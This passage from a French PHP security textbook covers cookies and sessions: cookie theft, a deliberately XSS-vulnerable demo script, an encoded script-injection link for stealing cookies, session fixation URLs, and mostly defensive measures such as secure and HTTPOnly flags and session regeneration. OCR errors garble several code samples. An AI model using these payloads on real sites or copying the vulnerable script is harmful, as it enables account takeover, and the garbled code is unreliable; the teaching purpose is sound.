aucune chance d'obtenir le meme. Dans l'absolu, c'est possible, mais en pratique, cela 
n' arrive jamais : il faudrait un trafic inhumain sur votre serveur. Si cela arrive, vous aurez 
bien d'autres problemes avant celui des identifiants de sessions. 
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Pourquoi voler des cookies ? 

Le cookie semble a priori inoffensif : petit, echange uniquement entre le serveur et le 
client, il est difficile de l'imaginer comme vecteur de vulnerabilite. Meme en placant des 
centaines de cookies sur un navigateur, vous seriez loin de saturer la machine du client ; 
au pire, vous ralentiriez un peu ses communications avec le serveur. 

En fait, parmi les deux types d'utilisation des cookies que nous avons vus precedemment, 
c'est le deuxieme qui est la cible du vol. En effet, comme on part de l'hypothese qu'il est 
impossible que deux utilisateurs obtiennent par hasard deux fois le meme identifiant de 
session, les applications supposent generalement que le simple fait de presenter un 
cookie est suffisant pour identifier un utilisateur. 

Une fois ce principe mis en place, toute la securite des donnees est reportee entierement 
sur le cookie de session. II suffit de voler le cookie d'un utilisateur et de le presenter au 
site web pour pouvoir usurper son identite sur le site. La valeur du cookie a autant 
d' importance que les donnees qu'il represente sur le serveur, meme si on ne peut pas les 
atteindre directement. 

Faites l'essai tout simple avec ce petit script : 
<html> 

<head><title>Vol de cookies</title></head> 
<body> 

<?php 

session_name( ' securite' ) ; 
session_start( ) ; 

if (isset($_POST['nom'])) { 
$_SESSION["nom"] = $_P0ST[ 'nom' ] ; 
$_SESSION['ip'] = $_SERVER[ ' REMOTE_ADDR' ] ; 

} 

if (isset($_SESSION["nom"])) ( 
print "<p>Bonjour {$_SESSION['nom']} : vous utilisez TIP : {$_SESSI0N[ ' ip" ] }</p>" ; 
print "<p>La session actuelle utilise le cookie &quot ; " .session_name( ) . "&quot ; avec 
**la valeur &quot ; " . session_id( ) . "&quot ; </p>"; 

} 

?> 

<form action="cookie_vol .php" method="post"> 

Votre nom : <input type="text" value="" name="nom" /Xbr /> 

<input type=" submit" value="0K" name="envoi" /> 
</form> 

</body> 
</html> 

A la premiere visite, indiquez votre nom dans ce formulaire. Apres soumission et validation 
du nom saisi, 1' application vous affiche ce que vous avez entre. Vous pouvez retourner sur 
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cette page quelques minutes apres, la machine vous reconnaitra encore. Par defaut, la 
session PHP reste valide 15 minutes. 

Apres votre premiere visite et l'affichage correct de votre nom, prenez la valeur du 
cookie qui est affichee sur la page. Elle ressemble a ceci : 

La session actuelle utilise le cookie "securite" avec la valeur 
| *»"vbamq5ac9f24rprpbqh6obaup5" 

Prenez un autre navigateur, ou meme une autre machine. Utilisez le script ci-apres, en 
remplacant la valeur du cookie par celle que vous avez lue dans 1' autre navigateur. 
Certains navigateurs vous permettent de modifier directement la valeur des cookies 
depuis leur interface, comme FireFox, avec les extensions developpeurs (voir annexes). 
Pour d'autres, il faudra passer par le fichier de cookie. Au pire, et si vous avez la main sur 
le meme serveur que celui sur lequel vous faites le test, vous pouvez utiliser le script 
suivant, avec le deuxieme navigateur : 

<?php 

var_dump(setcookie( 'securite' , 'vbamq5ac9f24rprpbqh6obaup5' ) ) ; 

?> 

Apres avoir assigne la valeur du cookie de session sur votre nouveau navigateur, dirigez- 
le sur la page initiale : vous devriez voir apparaitre votre « nom », tel que vous l'avez 
rentre dans le navigateur initial. Aucune donnee n'est passee entre les deux navigateurs, 
hormis le cookie et sa valeur. Les sessions de PHP ont retrouve une session initialisee 
avec cette valeur de cookie et cette derniere a considere que la valeur du cookie devait 
etre celle de l'utilisateur initial. En fait, la relation entre le cookie et l'utilisateur a ete 
brisee lorsque nous avons copie la valeur du cookie entre les deux navigateurs et c'est ce 
qui a permis de contourner le systeme d' identification de 1' application. 

II ne faut pas conclure ici que les sessions PHP ne sont pas sures : en fait, elles se basent 
sur la confidentialite du cookie. La securite des sessions fonctionne comme pour les mots 
de passe : quand le mot de passe a ete devoile a un tiers, il perd toute ses caracteristiques 
securitaires. C'est exactement pour cela que les pirates cherchent a mettre la main sur les 
cookies. Voler un cookie revient generalement a prendre l'identite d'un autre utilisateur, 
ainsi que ses droits. 

II convient de noter que le systeme des sessions est superieur aux mots de passe, car les 
identifiants de session ont une duree de validite qui est generalement de 15 minutes : 
apres avoir vole un cookie, il faut que le pirate l'exploite dans ce delai pour pouvoir en 
tirer profit. Un mot de passe est generalement valide pour des durees bien plus longues, a 
moins d'une politique de mises a jour regulieres, ce qui est trop rarement le cas. 

II va done falloir prendre des precautions pour se premunir contre le sport mondial 
numero 1 : le vol de cookie et les injections HTML. 

Gare aux XSS ! 

Nous venons de voir comment voler un cookie par simple copier-coller. Au-dela de 
l'illustration pedagogique, il reste rare de copier la valeur d'un cookie pour la donner a 
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un inconnu. En fait, le vol de cookie se fait notamment grace aux XSS, les fameuses 
injections de code dans les pages HTML. 

En effet, prenons le cas d'un site vulnerable : le petit script de vol de cookie est parfait 
pour cela. Nous avons une belle vulnerabilite XSS, puisque la variable $_GET['notn'] est 
rangee dans $_SESSI0N, puis affichee sans aucune precaution. Pour recuperer les donnees 
de l'utilisateur insouciant, le pirate va fournir une URL speciale, comme celle-ci : 

<a href= "cookie_vol .php£3Cscript+src%3D%22vol . js%22+%2F%3E">Venez par id !</a> 

En effectuant cette simple injection via une faille XSS, le malheureux utilisateur va se 
rendre sur le site vulnerable et transmettre du me me coup tous ses cookies au site pirate. 
Le pirate pourra alors enregistrer tous les cookies en cours, incluant les sessions ou les 
cookies de longue duree. II est desormais capable d' usurper l'identite de l'utilisateur et 
d'obtenir les memes services que ce dernier. 

II est facile d'assimiler un cookie a un utilisateur et de supposer qu'il represente fidelement 
ce dernier. C'est exactement ce mecanisme que les pirates utilisent pour prendre la place 
d'un utilisateur valide. 



Defendre ses cookies 

Malgre leur petite taille et leur grande utilite, les cookies disposent de nombreux meca- 
nismes pour limiter leur diffusion : connexion SSL, HTTP uniquement, duree de vie, 
domaine et chemin. 

Bien poser ses cookies 

bool setcookie ( string name [, string value [, int expire [, string path [, 
**string domain [, bool secure[, bool HTTPOnly]]]]]] ) 

Dans sa version la plus simple, setcookie demande le nom du cookie et sa valeur. En fait, 
on peut meme se passer de la valeur, mais cela indique au navigateur qu'on souhaite effacer 
le cookie. 

Les parametres de securite des cookies apparaissent a partir du troisieme argument et 
sont tous optionnels. On peut quand meme deplorer que les arguments n'aient pas de 
valeurs par defaut plus securisees, mais cela est surement fait pour assurer une compati- 
bility plus grande avec toutes les architectures de serveur web. 

Passons en revue les valeurs de ces arguments, pour voir comment on peut les utiliser 
pour gagner en securite. 

Date d'expiration 

Expi re est un entier optionnel qui represente la date d'expiration du cookie. Lorsque cette 
valeur est omise, cela indique au navigateur que le cookie est valide jusqu'a la fin de la 
session du navigateur, c'est-a-dire lorsque ce dernier sera quitte par l'utilisateur. En 
pratique, cela implique que le cookie est enregistre uniquement en memoire, mais jamais 
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sur le disque, dans le fichier cookies.txt, ou son equivalent en fonction du navigateur 
utilise. 

Cette fonctionnalite est relativement pratique pour des cookies a utiliser a court terme. 
En termes de debogage, cela signifie que Ton peut remettre a zero les cookies du naviga- 
teur simplement en le relancant. Dans le cas des navigateurs en milieu public, comme un 
cafe Internet, c'est aussi l'assurance qu'on peut simplement quitter le navigateur en fin 
de session pour effacer toutes ses traces. 

Lorsqu'elle est fournie, la date est exprimee sous forme d'entier, c'est done un timestamp, 
e'est-a-dire le nombre de secondes depuis le l er janvier 1970. Lorsque la date est atteinte, 
le cookie est efface et le navigateur cesse de l'envoyer au serveur. 

Techniquement, il est done possible de poser des cookies valables jusqu'en 2037. Inutile 
de gloser longtemps sur l'interet de poser un cookie qui devra resister aux changements 
de version des logiciels, du systeme et meme de la machine elle-meme : c'est inimaginable 
et meme si certains pourront tenter l'experience, ce sera l'exception qui confirme la regie. 

Cookies de tres courte duree de vie 

En pratique, il est difficile de manipuler des cookies de trop courte duree de vie. En effet, 
il faut se metier du decalage horaire qui existe entre le serveur et le navigateur. 

Par exemple, si votre serveur parisien pose un cookie valable pendant une heure a un 
utilisateur situe en Chine, cela donne un cookie mort-ne. En effet, avec un decalage 
horaire de 7 heures en plus par rapport a Paris, le cookie est pose apres avoir expire. 

Ainsi, la position geographique du serveur par rapport aux visiteurs du site web a un 
impact. Pour contourner le probleme des cookies de courte duree, vous pouvez ajouter 
votre propre date de validite sous forme d'un entier dans la valeur du cookie : 

<?php 

Svaleur = (timeO + 3600) . ':' . $variable; 
setcookie( 'cookie' ,$valeur); 

?> 

Lors de la lecture des cookies, vous pouvez faire le test suivant : 
<?php 

list($timestamp,$cookie) = explode( ' : ' ,$_C00KIE['cookie'],2); 
if ($timestamp < timet)) { 

// execution 
} else { 

// nettoyage 
setcookie( 'cookie' , ' ' ) ; 

} 

?> 

Chemin autorise au cookie 

path est le chemin pour lequel le cookie est valable. Par defaut, c'est /, e'est-a-dire la 
racine du site. Sur le site www.monsiteweb.net, le cookie est done renvoye a toutes les pages 
qui sont demandees sur le site. Si ce cookie sert a 1' identification d'un administrateur, ce 
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dernier n'en aura l'utilite que dans son dossier www.monsiteweb.net/administration. II est 
done recommande de donner a Path la valeur de /administration/. Le cookie est alors 
utilise uniquement lorsque l'utilisateur est dans la zone d' administration, pas dans les 
autres zones : moins le cookie est echange entre le navigateur et le serveur, mieux e'est. 

La limitation de l'acces au cookie sur le site a l'aide de path est adaptee aux situations oil 
vous partagez un nom de domaine et oil chaque webmestre dispose d'un dossier sur le 
site, par exemple : 

www.hebergeur.com/util isateurl 
www. hebergeur.com/uti 1 i sateur2 
www.hebergeur.com/utilisateur3, etc. 

Dans ce cas, pour eviter de transmettre votre cookie a tous les autres webmestres du 
meme site, path est efricace comme configuration de securite. 

Domaine autorise au cookie 

L' argument domain precede selon un meme raisonnement que 1' argument path, mais 
s' applique aux noms de domaines. C'est le cas des hebergements externalises oil vous 
disposez d'un nom de domaine specirique pour votre site, sous le domaine de l'heber- 
geur, par exemple : 

1 php.nexenservices.com 
mysql .nexenservices.com 
securite.nexenservices.com, etc. 

Dans ce cas, les sites sont distingues a l'aide du nom de domaine et non plus du 
nom de dossier. L' argument domain vous permet de limiter le renvoi du cookie a un 
sous-domaine particulier. Par exemple, en donnant a domain la valeur de securite, 
alors securite.nexenservices.com recevra le cookie depuis votre application, alors que 
php . nexenservi ces . com ne le recevra pas. 

domain permet de maitriser l'utilisation du cookie sur un domaine particulier. Toutefois, 
comme les domaines peuvent etre configures sur des adresses IP differentes, les versions 
generiques de domain courent le risquent d'etre envoyees a des IP differentes, meme si 
elles sont toujours rangees dans le meme domaine. 

La version la plus generique consiste a indiquer le nom du domaine, precede d'un point. 
Par exemple, .php.net permet de poser un cookie qui sera valable sur tous les serveurs du 
domaine php.net, notamment sur fr.php.net, www.php.net, ir.php.net, etc. II s'agit des 
miroirs de PHP. Du point de vue fonctionnel, il serait dommage que les utilisateurs du 
site php.net aient a refaire leur configuration a chaque changement de miroir, surtout 
qu'il y a generalement plusieurs miroirs pour un meme pays... D'un autre cote, plus 
domain est generique, plus grand est le risque de donner un cookie a un serveur qui serait 
vulnerable. Comme toujours, il faut faire un arbitrage entre le niveau de restriction et 
la securite. 
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Connexion securisee pour les cookies 

Le sixieme argument de setcookie( ) indique si le cookie doit etre echange avec le navi- 
gateur via une connexion securisee. Si l'argument secure vaut true, le cookie attendra 
qu'une connexion securisee soit etablie avec le serveur pour etre renvoye au serveur. Cela 
reduit les possibilites d' interception du cookie durant les echanges avec le serveur, mais 
vous impose de mettre en place une connexion HTTPS. Si vous disposez d'une 
connexion securisee, alors ne vous privez pas de mettre cet argument a 1. 

Cookies reserves a HTTP 

Enfin, HTTPOnly est le septieme argument de la fonction setcookieO. II n'est disponible 
que depuis PHP 5.2 et ne fonctionne que sur les navigateurs de toute derniere generation. 
Avec cette configuration, le cookie ne peut etre utilise qu'entre le serveur et le navigateur, 
mais plus du tout par JavaScript notamment. Cela bloque considerablement les possibili- 
tes pour les pirates en termes de XSS : sauf vulnerabilite du navigateur, ou absence de la 
fonctionnalite, le cookie devient confidentiel entre le serveur et le navigateur. 

Assurer les valeurs des cookies 

Lorsque vous utilisez un cookie qui porte une valeur, par opposition aux cookies qui ne 
sont que des identifiants, et que vous ne pouvez pas utiliser de liste blanche, les options 
de securisations sont les suivantes : 

• Chiffrer la valeur du cookie pour ne pas afficher la donnee directement en clair, ce qui 
ne vous protege pas contre 1' usurpation de cookie, mais peut ralentir les pirates dans 
leur comprehension du fonctionnement de votre site. 

• Chiffrer le nom du cookie. 

• Aj outer une somme de controle a la valeur du cookie. Prenez la valeur que vous 
souhaitez stacker dans le cookie, ajoutez un prefixe ou un suffixe, voire les deux, et 
placez la valeur de la somme de controle a la fin de la valeur du cookie, ou dans un 
cookie complementaire. Lorsque ce dernier vous sera re mis, vous pourrez rapidement 
en verifier l'authenticite en recalculant la somme de controle. 

<?php 

Scookies = arrayt'nom' => 'valeur', 'nom2'=> 'valeur2') ; 
$cookies['sdc'] = md5( "prefixe" .join( " | " , Scookies). "suffixe") ; 
foreach($cookies as $nom => $valeur) { 
setcookie($nom, $valeur) ; 

} 

?> 

A la reception, vous pouvez recalculer la somme de controle pour vous assurer que le 
cookie n'a pas ete modifie : 

<?php 

$sdc_lue = $_C00KIE['sdc'] ; 
unset($_COOKIE['sdc']) ; 

$sdc_cal = md5(" prefixe ".join('|', $_C00KIE). " suffixe") ; 
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if ($sdc_cal != $sdc_lue) { 
// Les cookies ont ete modifies ! 
$cookie = array( ) ; 

} 

?> 



Le cas des tableaux de cookies 

En general, les cookies ne contiennent que des chaines de caracteres. Meme lorsque vous 
leur affectez un nombre, decimal ou entier, il sera stocke sous forme de chaine de carac- 
teres. Cependant, PHP est aussi capable de gerer les cookies sous forme de tableau, exac- 
tement comme avec les methodes POST et GET. En fait, PHP reconnait la structure et il est 
possible d'affecter un cookie sous forme de tableau : 

<?php 

$x = ranged, 5); 
foreach($x as $i ) { 

if (setcookie( 'test[' .$i .']'. 'valeur '.$i)) { 

print "$i : 0K<br />\n"; 
} else { 

print "$i : K0<br />\n"; 

} 

} 

print_r($_C00KIE) ; 
?> 

Apres deux chargements de la page, vous devriez voir apparaitre ceci : 

Array 
( 

[test] => Array 

( 

[1] => valeur 1 
[2] => valeur 2 
[3] => valeur 3 
[4] => valeur 4 
[5] => valeur 5 

) 

) 

$_C00KI E[ ' test ' ] est un tableau maintenant. Si vos scripts s'attendent a ce que les cookies 
soient toujours sous forme de chaines de caracteres, ils risquent d'etre decus. Pensez 
done a ajouter un test sur le type de la valeur avant de les manipuler. 

De la meme facon, il est possible de poser un cookie sous la forme d'un tableau multi- 
dimensionnel : 

<?php 

setcookie( 'test' .str_repeat( ' [] ' , 500), 'valeur ') ; 
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Voila un tableau PHP de 500 niveaux de profondeur, avec une seule valeur. Si vous 
n' avez pas active la limitation de memoire dans les directives PHP, vous obtiendrez des 
scripts fortement consommateurs de memoire, et probablement totalement inutilisables. 

Un cookie comme defense 

Paradoxalement, les cookies peuvent aussi servir a defendre une application web. Tout 
simplement, vous pouvez bannir un utilisateur en lui affectant un cookie de maniere a le 
reperer immediatement a son retour sur votre site. Dans la pratique, il est etonnant de voir 
que cette technique fonctionne souvent. 

Pour commencer, il faut disposer d'un critere pour marquer indesirable un utilisateur sur 
votre site : vous pouvez simplement utiliser un faux site, des leurres sous forme de 
fichiers ou un compteur de sollicitations, ou n'importe quelle autre mefhode. Une fois 
que l'utilisateur depasse les bornes, marquez-le avec un cookie, comme ceci : 

<?php 

SetcookieCPHPSESSID", md5(microtime( ) ) , time + 24 * 3600, '/',' .mesites.com' ) ; 

?> 

Pour exploiter cette information, il suffit de tester la presence de ce cookie des le debut 
du script et d'interrompre le fonctionnement de ce dernier des que vous reperez le 
cookie : 

<?php 

If (isset($_COOKIE['PHPSESSID'])) { header( "HTTP/1 . 0 404 Not Found"); die() ;} 

?> 

La beaute du systeme fait que vous pouvez appliquer une duree de bannissement directe- 
ment dans le cookie, grace au parametre expire. Si le pirate utilise un systeme qui 
respecte un peu les specifications des cookies, alors il va s'exclure lui-meme durant 
24 heures. De plus, meme s' il utilise un proxy, ou bien s' il change d'adresse IP ou meme 
de fournisseur d'acces, vous pourrez continuer de le bloquer. 

Cette astuce est assez etonnante, mais paradoxalement effective. En fait, de nombreuses 
araignees (spiders en anglais) et bots supportent les cookies et respectent les RFC : leur 
but est de ressembler au maximum a un navigateur standard. Autrement, ils ne pourraient 
pas passer sur les nombreux sites qui les exigent. Ainsi, ils vont generalement accepter 
votre cookie, arm de se conformer aux exigences de votre application web. Avec un peu 
de chance, votre cookie passera inapercu. 

Inversement, les robots legitimes, tels que ceux des principaux moteurs de recherche, 
n'utilisent aucun cookie. C'est assez paradoxal. 

En fait, si vous donnez a votre cookie un nom tres courant et anodin, comme PHPSESSID, il 
y a des chances pour que cela passe inapercu aupres du pirate, meme si ce dernier 
surveille de pres les operations. Et ce sera particulierement efficace dans le cas des atta- 
ques massives ou des analyses au hasard. De plus, comme cette technique prend au total 
deux lignes de code PHP, c'est une protection a connaitre. 
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Forcer le passage par un formulaire 

II y a de nombreuses situations ou vous voudrez vous assurer qu'un utilisateur est bien 
passe par un formulaire donne avant de lui afficher une autre page. II est courant de lier 
une page de resultat avec son formulaire : en fait, c'est une croyance courante qu'un 
script d' action repond automatiquement au formulaire qui l'appelle. Pourtant, la nature 
deconnectee du Web fait qu'il est possible de passer par n'importe quel formulaire pour 
utiliser une page, voire de ne pas passer par un formulaire. 

II est illusoire de forcer la connexion entre le formulaire et le script d' action, comme 
nous l'avons vu : il est toujours possible de se passer du formulaire. 

Si vous cherchez une methode raisonnable pour vous assurer qu'un utilisateur est passe 
par une page avant d' arriver sur une autre, vous pouvez poser un cookie dans le formu- 
laire et le verifier une fois arrive dans le script d'execution, comme ceci : 

// Formulaire.php 

<?php Setcookiet 'formulaire' , md5( ' prefixe' . $_SERVER[ ' REMOTE_ADDR' ] ) , time + 24 

3600, '/', 'www.mesites.com' ) ; ?> 
<form action="action.php" method="P0ST"> 

<input type=" submit" value="soumission"> 
</form> 

// action.php 
<?php 

if ( !isset($_C00KIE[" formulaire "]) || 

md5( 'prefixe' .$_SERVER['REM0TE_ADDR']) != $_C00KIE[ ' f ormul ai re ' ] ) ) { 
// effacement du cookie 
setcookiet 'formulaire' ) ; 
// redirection 

header( ' Location : /formulaire. html ' ) ; 
diet); 

} 

?> 

Cette technique vous assure que l'utilisateur est bien passe sur la page f ormul ai re . php et 
qu'il accepte bien les cookies, ce qui devrait faire l'affaire dans 95 % des cas. Pour les 
5 % qui restent, il faudra peut-etre trouver une technique complementaire, comme l'ajout 
d'un champ cache dans le formulaire. 



Les sessions 

Les sessions repondent a un probleme crucial du protocole HTTP : comment conserver 
des informations entre deux pages web. En effet, le protocole HTTP est sans etat : entre 
deux solicitations du serveur web, toutes les informations sont perdues. 

Dans ce cadre, comment etablir des fonctionnalites de base, comme une seance de travail 
ou une identification ? Sans systeme de sessions, il n'est plus envisageable de mettre en 
place une identification, car elle doit etre envoyee a chaque fois. 
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C'est exactement ce que fait 1' identification HTTP : en reponse a un code 402 (Unautho- 
ri zed), le navigateur affiche un dialogue oil Ton peut saisir un nom d'utilisateur et un mot 
de passe. Apres cela, l'utilisateur est identifie et il peut naviguer sur les ressources qu'il 
souhaite. Toutefois, la realite est masquee : en effet, le navigateur note les informations 
de connexion lors du dialogue et les transmet a chaque fois qu'il interroge le site web. II 
fournit done une aide non negligeable a l'utilisateur, mais ne resout pas le probleme 
initial : le serveur web oublie tout entre deux requetes. 



Fonctionnement des sessions 

Les sessions PHP ont pour objectif de resoudre ce probleme. Entre deux scripts PHP, des 
donnees mises en session sont transmises automatiquement. Le premier script peut ainsi 
etablir une identite et le second fournir des services en fonction de cette identite. Pour y 
arriver, PHP doit composer avec les contraintes du protocole HTTP. 

Le Web et la persistance 

II faut resoudre deux problemes : la persistance des donnees sur le serveur et 1' identite du 
visiteur auquel sont associees les donnees sauvees. Les sessions sont done au confluent 
de nombreuses technologies et elles exploitent des ressources complementaires. 

Pour resoudre le probleme de persistance, PHP doit faire appel a un medium stable : en 
effet, PHP lui-meme n'est pas persistant entre deux requetes. Par defaut, il fait appel au 
systeme de fichiers, mais il peut aussi s'interfacer avec d'autres systemes pour y stacker 
les donnees, puis les relire : bases de donnees, memoire vive, demons, etc. 

Les sessions PHP sont done constituees de trois parties : 

• un identifiant de session, unique et aleatoire, qui est confie au navigateur pour une 
duree specifique ; 

• un stockage de donnees, appele par le script et accessible depuis le serveur ; 

• un systeme de communication de 1' identifiant a tous les scripts PHP qui en ont besoin. 
Malheureusement, chacun de ces systemes est sujet a des vulnerabilites et des limitations. 

Deux methodes de transport 

Du cote Web, il faut un systeme qui assure le suivi de l'utilisateur en fonction de sa navi- 
gation. PHP propose deux techniques pour cela : les cookies ou la reecriture de liens, 
aussi appele trans-id. 

Les cookies sont la forme la plus adaptee au suivi de session. En effet, comme nous 
l'avons vu precedemment, ils sont confines a un navigateur et s'echangent exclusivement 
entre le navigateur et le serveur. De plus, ils disposent d'un systeme de limitations dans le 
temps (la date d' expiration du cookie) et dans l'espace web (les limitations par domaine, 
par serveur et meme par chemin), qui en font l'outil ideal pour gerer les sessions. 
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Pour suivre la navigation d'un visiteur qui refuse les cookies, il suffit de personnaliser 
tous les liens d'un site. La valeur qui etait stockee dans les cookies est l'identifiant de 
session : c'est cette valeur que PHP va ajouter a chaque lien utilise dans une application 
web, pour pouvoir le retrouver lorsque l'utilisateur du site effectue sa progression. 
Comme on ne peut pas prevoir a l'avance la prochaine page demandee, il faut que chaque 
lien soit modifie. Cette methode est plus universelle que les cookies et ne peut pas etre 
desactivee cote navigateur. 

Le choix entre les deux methodes de transmission de l'identifiant de session est discutable. 
D'un cote, le cookie est un mecanisme adapte et relativement sur. Neanmoins, une frac- 
tion de la population en ligne n' utilise pas de cookies, notamment les robots de moteurs 
de recherche. De plus, les cookies sont les victimes designees des vols et des injections 
XSS. D'un autre cote, les identifiants dans les URL sont plus faciles a pirater : il suffit de 
le lire dans l'URL, ou bien de se la faire envoy er par un utilisateur peu prudent. Combien de 
fois a-t-on vu un message, transmis par IRC, courrier electronique, forum ou commentaire 
de blog : « Regarde ce que je lui ai repondu : http://www.unforum.net/forum.php7t 
=12345&PHPSESS_ID=67844b40de50d933 » ? 



L importance de l'identifiant 

Au bout du compte, les sessions mettent en place un systeme dans lequel des donnees 
placees sur le serveur sont reliees a un utilisateur a l'aide d'un identifiant de session. Si 
un utilisateur presente un tel identifiant, alors PHP charge les donnees correspondantes 
dans son medium de stockage. Sinon, une nouvelle session est creee, ou bien l'utilisateur 
est considere comme anonyme. 

Cette approche fait ainsi peser toute la securite sur l'identifiant. De la meme facon qu'un 
mot de passe regit l'acces a de nombreuses technologies, l'identifiant est le sesame qui 
donne acces a l'identite d'un utilisateur sur un serveur. Si un pirate vole un identifiant de 
session, il peut usurper l'identite d'un autre utilisateur. 

Les donnees qui sont sur le serveur sont bien protegees, dans la mesure ou elles ne sortent 
pas du serveur lui-meme, a moins que cela ne soit prevu par le site et demande par le visiteur. 
La protection des donnees depend done directement de la securite de l'identifiant. 

L'identifiant lui-meme ne contient aucune information. II faut bien comprendre qu'il est 
completement aleatoire. II presente la meme valeur qu'une cle : en soi, c'est un bete morceau 
de metal, mais si elle est utilisee dans la bonne serrure, c'est tout un espace confidentiel 
qui est ouvert. Toutefois, il existe un nombre incroyable de serrures et les essayer toutes 
sans se faire reperer est illusoire. 

II est done primordial de bien proteger l'identifiant, d'autant que les techniques pour le 
voler sont nombreuses. Les premieres sources de problemes sont les XSS : ces vulnera- 
bilites qui permettent de faire executer n'importe quel code JavaScript sont ideales pour 
exporter un identifiant de session vers un site externe, qui pourra l'utiliser immediatement. 
Cependant, il y a egalement d'autres risques. 
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Les risques lies aux sessions 

Dans leur implementation actuelle, les sessions presentent quelques risques de securite, 
dont l'importance est tres variable en fonction des choix d' architecture de votre appli- 
cation. Par exemple, un hebergement partage sera plus dangereux pour les sessions qu'un 
hebergement dedie. 

II y en a trois principaux a surveiller : 

• L'identification du visiteur : c'est le lien entre le visiteur et la session. PHP fournit un 
systeme d'identification, mais il est faible. 

• La fixation de session, ou comment imposer un identifiant de session depuis l'exterieur. 

• Le stockage des valeurs de session sur le serveur : les fichiers et le dossier /tmp/ ne sont 
pas toujours la meilleure solution en termes de securite. 



L'identification 

Les sessions fournissent un moyen pour relier des donnees sur le serveur avec un inter- 
naute. II faut bien comprendre qu'a aucun moment, les sessions n'assurent l'identite de 
l'utilisateur. Comme nous l'avons vu, il suffit de prendre un identifiant de session et de 
l'utiliser sur un autre navigateur pour prendre l'identite d'un utilisateur. 

Pour se proteger contre ce type de transfert, il n'y a malheureusement pas de technique 
universelle : en effet, le protocole HTTP repose beaucoup sur des informations en prove- 
nance directe de l'utilisateur, qui peuvent etre aisement manipulees. 

On est done reduit a mettre en place des techniques de surveillance qui compliquent la 
vie d'un pirate sans compliquer celle de l'utilisateur. Voici quelques astuces a utiliser, 
que vous pourrez appliquer en fonction de leur niveau de complexite et de vos objectifs 
de securite : 

• Enregistrer l'adresse IP de l'utilisateur et la verifier a chaque demarrage de session. 
C'est en effet l'une des informations les plus stables de la relation entre un utilisateur 
et un serveur. Utilisez la version numerique de $_SERVER["REMOTE_ADDR"], pour ne pas 
etre dejoue par un tour de passe-passe DNS. En revanche, cette protection est ineffi- 
cace contre les pirates qui passent par le meme proxy qu'un utilisateur legitime. Cette 
technique pourra aussi poser des problemes aux utilisateurs AOL, qui apparaissent 
parfois avec plusieurs IP en fonction du proxy qui est utilise. 

• Enregistrer la signature du navigateur HTTP_USER_AGENT, ou bien sa configuration de 
langues HTTP_ACCEPT_LANGUAGE, ou de formats HTTP_ACCEPT_DECODING. Ces trois informa- 
tions sont generalement stables durant une session de travail. II est exceptionnel de 
changer de navigateur durant la navigation sur un site, ou de reconfigurer les langues 
acceptees. Notez neanmoins que si un pirate peut voler un identifiant de session, il 
saura surement obtenir ces informations en meme temps. 

• Changements frequents d'identifiant : sans changer la duree de vie de la session, il est 
interessant de modifier 1' identifiant de session frequemment. Cela donne une duree de 
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vie plus courte a l'identifiant, sans modifier la duree de vie de la session. Toutefois, 
il est souvent coflteux de modifier cet identifiant et cela a un impact en termes de 
performances. 

• Verifications d' identite aleatoires : si on part de 1' hypothese que le pirate n' a pas mis la 
main sur les informations d'identite, mais simplement sur 1' identifiant de session, alors 
une nouvelle demande d'identification va le bloquer, tandis que cela laissera passer un 
utilisateur legitime. Vous pouvez placer des identifications supplementaires a inter- 
valle temporel regulier ou aleatoire, en fonction d'un nombre de clics ou d'operations, 
ou encore en fonction de l'importance des operations qui ont lieu. II reste alors a 
evaluer le niveau d'intrusion que vos utilisateurs pourront accepter pour securiser 
1' application. Cette technique est particulierement recommandee contre les CSRF. 

• En intranet, il existe souvent des methodes complementaires pour s'assurer de l'iden- 
tite d'un utilisateur : un serveur LDAP central, une convention de nommage du reseau, 
etc. II est done interessant de verifier si ce type de regie est bien verifie. De meme, 
certains intranets imposent des caracteristiques techniques aux navigateurs, ce qui 
permet une validation plus aisee. Consultez les regies de securite de votre entreprise et 
n'oubliez pas que si ces regies ne changent pas souvent, elles changent parfois quand 
meme. 

Ces astuces sont compatibles les unes avec les autres ; vous pouvez done les utiliser toutes 
en meme temps. 

La fixation de session 

La fixation de session est une technique qui vise a donner a un utilisateur legitime un 
identifiant de session connu a l'avance. 

Lorsque PHP initialise les sessions, il verifie si un identifiant lui a ete transmis. Si 1' iden- 
tifiant est connu, il charge les donnees de session. Sinon, il ouvre une nouvelle session 
avec cet identifiant. 

Pour utiliser ce mecanisme a son avantage, un pirate donne a une victime un identifiant 
de session qu'il choisit et la dirige vers le site : 

| http://www.site.com/login.php ?PHPSESS_ID=123456790 

La victime utilise alors a son insu l'identifiant de session et obtient des droits sur le site 
web victime. Le pirate a simplement a attendre que la session accede a des droits 
interessants : il n'a pas besoin de voler la session, puisqu'il l'a lui -meme fournie. II lui 
suffit d' attendre un moment, puis de se presenter sur le site avec cet identifiant pour prendre 
une nouvelle identite. 

La solution consiste a ne pas initialiser une session a partir d'un identifiant fourni par 
l'utilisateur. Ainsi, au demarrage d'une session, vous devez enregistrer une valeur qui 
indique que e'est bien l'application qui a initialise la session et que ce n'est pas une 
session vide, ou obtenue d'une autre maniere. 



Cookies et sessions 



Chapitre 4 



<?php 

session_start( ) ; 

if ( !isset($_SESSION["initialisation"])) { 
session_regenerate_id( ) ; 
$_SESSI0N[ 'initialisation'] = timeO ; 

} 

?> 

Avec cette approche, si une session ne contient pas une valeur que 1' application aurait 
elle-meme enregistree, alors c'est une fixation de session. La fonction 
session_regenerate_id( ) cree alors un nouvel identiriant. 

Si vous n'avez pas de version recente de PHP, commencez par mettre a jour votre 
installation : cela pourrait proteger automatiquement votre installation contre le 
probleme de fixation. Au pire, et le temps de trouver une version plus securitaire, vous 
pouvez simplement detruire la session en cours et forcer le rechargement de la vraie page 
de demarrage des sessions, afin d' avoir un identifiant propre. 

Le demarrage des sessions 

Le point de demarrage des sessions est un facteur important dans les usurpations d'iden- 
tite. Nous venons d'en voir un exemple. 

Une version plus sophistiquee des fixations de session consiste pour le pirate a initialiser 
une session sur le site de l'application web et a conserver l'identifiant de cette session, 
jusqu'a ce qu'il la transmette a une victime pour qu'elle l'utilise. Du point de vue de 
l'application, c'est une session valide, alors qu'elle aura ete attribuee au pirate, puis 
donnee par ce dernier au tiers consentant. 

Le point de demarrage des sessions et l'attribution de l'identifiant est done tres impor- 
tant. Etudions le code suivant, qui est associe a un formulaire d'identification classique 
type utilisateur / mot de passe. 

<?php 

session_start( ) ; 

if (!isset($_POST[ 'login']) { 

$message = 'Bienvenue ! Identifiez-vous ou creez un compte' ; 
} else { 

Slogin = filtre($_POST['login'], 'utilisateur') ; 
